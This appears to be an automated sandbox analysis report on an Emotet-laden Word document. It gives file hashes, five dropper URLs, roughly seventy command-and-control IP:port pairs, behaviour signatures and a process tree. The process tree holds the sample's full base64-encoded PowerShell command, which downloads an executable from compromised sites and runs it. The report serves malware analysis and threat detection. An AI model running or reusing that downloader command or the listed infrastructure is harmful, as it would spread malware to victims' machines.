Analysis
- max time kernel
147s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
24/07/2020, 08:41
Static task
static1
Behavioral task
behavioral1
Sample
WRAT_AN8348959916KE.doc
Resource
win7
General
- Target WRAT_AN8348959916KE.doc
- Size 173KB
- Sample200724-r2xqzedf16
- SHA256 5de801d1734e78ebab4e8a80a424bb6f06e1e7c72938e6d7922073bc7a0370d7
- MD5 9dd0ec18ea25e93a91e6503ef34127e6
- SHA1 42e1577a7697aca7495e4d4fe7c19f9e6e05111e
- SHA512 c87ad945320d6f0c0e739f4bcfcc5177f143bc6670ce3e79610e59d539169022910f9485695fc14e51a3a2518a5f7a24ea9084ed2aaf012c896abc48b1857ec8
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/
-
exe.dropper
https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/
-
exe.dropper
http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/
-
exe.dropper
http://holfve.se/images/1ckw5mj49w_2k11px_d/
-
exe.dropper
http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/
Extracted
-
emotet
-
94.49.254.194:80
-
212.51.142.238:8080
-
91.231.166.124:8080
-
162.241.92.219:8080
-
79.98.24.39:8080
-
109.117.53.230:443
-
78.189.165.52:8080
-
113.160.130.116:8443
-
121.124.124.40:7080
-
101.187.97.173:80
-
168.235.67.138:7080
-
104.131.44.150:8080
-
5.39.91.110:7080
-
139.59.60.244:8080
-
81.2.235.111:8080
-
116.203.32.252:8080
-
61.19.246.238:443
-
176.111.60.55:8080
-
190.55.181.54:443
-
108.48.41.69:80
-
203.153.216.189:7080
-
103.86.49.11:8080
-
104.236.246.93:8080
-
75.139.38.211:80
-
169.239.182.217:8080
-
62.75.141.82:80
-
93.156.165.186:80
-
73.11.153.178:8080
-
157.245.99.39:8080
-
41.60.200.34:80
-
50.116.86.205:8080
-
31.31.77.83:443
-
209.182.216.177:443
-
62.138.26.28:8080
-
95.213.236.64:8080
-
95.179.229.244:8080
-
209.141.54.221:8080
-
91.211.88.52:7080
-
173.91.22.41:80
-
222.214.218.37:4143
-
37.187.72.193:8080
-
137.59.187.107:8080
-
139.130.242.43:80
-
46.105.131.87:80
-
87.106.139.101:8080
-
200.55.243.138:8080
-
5.196.74.210:8080
-
79.7.158.208:80
-
185.94.252.104:443
-
104.131.11.150:443
-
37.139.21.175:8080
-
190.108.228.62:443
-
24.1.189.87:8080
-
91.205.215.66:443
-
186.208.123.210:443
-
108.26.231.214:80
-
201.173.217.124:443
-
110.145.77.103:80
-
190.160.53.126:80
-
162.154.38.103:80
-
78.24.219.147:8080
-
210.165.156.91:80
-
109.74.5.95:8080
-
95.9.185.228:443
-
93.51.50.171:8080
-
200.41.121.90:80
-
46.105.131.79:8080
-
124.45.106.173:443
-
74.208.45.104:8080
-
153.126.210.205:7080
-
87.106.136.232:8080
-
190.144.18.198:80
Signatures
- Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2036 powersheLL.exe 2036 powersheLL.exe 2036 powersheLL.exe 3588 VAN.exe 3588 VAN.exe 3588 VAN.exe 3588 VAN.exe 3588 VAN.exe 3588 VAN.exe - Blacklisted process makes network request 4 IoCs
flow pid Process 11 2036 powersheLL.exe 16 2036 powersheLL.exe 18 2036 powersheLL.exe 20 2036 powersheLL.exe - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3540-9-0x0000000000670000-0x000000000067C000-memory.dmp emotet behavioral2/memory/3588-12-0x0000000000590000-0x000000000059C000-memory.dmp emotet - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\gpupdate\VAN.exe 337.exe - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3884 WINWORD.EXE 3884 WINWORD.EXE 3884 WINWORD.EXE 3884 WINWORD.EXE 3884 WINWORD.EXE 3884 WINWORD.EXE 3884 WINWORD.EXE 3884 WINWORD.EXE 3884 WINWORD.EXE 3884 WINWORD.EXE 3540 337.exe 3540 337.exe 3588 VAN.exe 3588 VAN.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2036 592 powersheLL.exe 66 - Executes dropped EXE 2 IoCs
pid Process 3540 337.exe 3588 VAN.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3540 wrote to memory of 3588 3540 337.exe 78 PID 3540 wrote to memory of 3588 3540 337.exe 78 PID 3540 wrote to memory of 3588 3540 337.exe 78 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3884 WINWORD.EXE 3884 WINWORD.EXE - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2036 powersheLL.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\WRAT_AN8348959916KE.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:3884
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:2036
-
C:\Users\Admin\337.exeC:\Users\Admin\337.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Windows\SysWOW64\gpupdate\VAN.exe"C:\Windows\SysWOW64\gpupdate\VAN.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:3588
-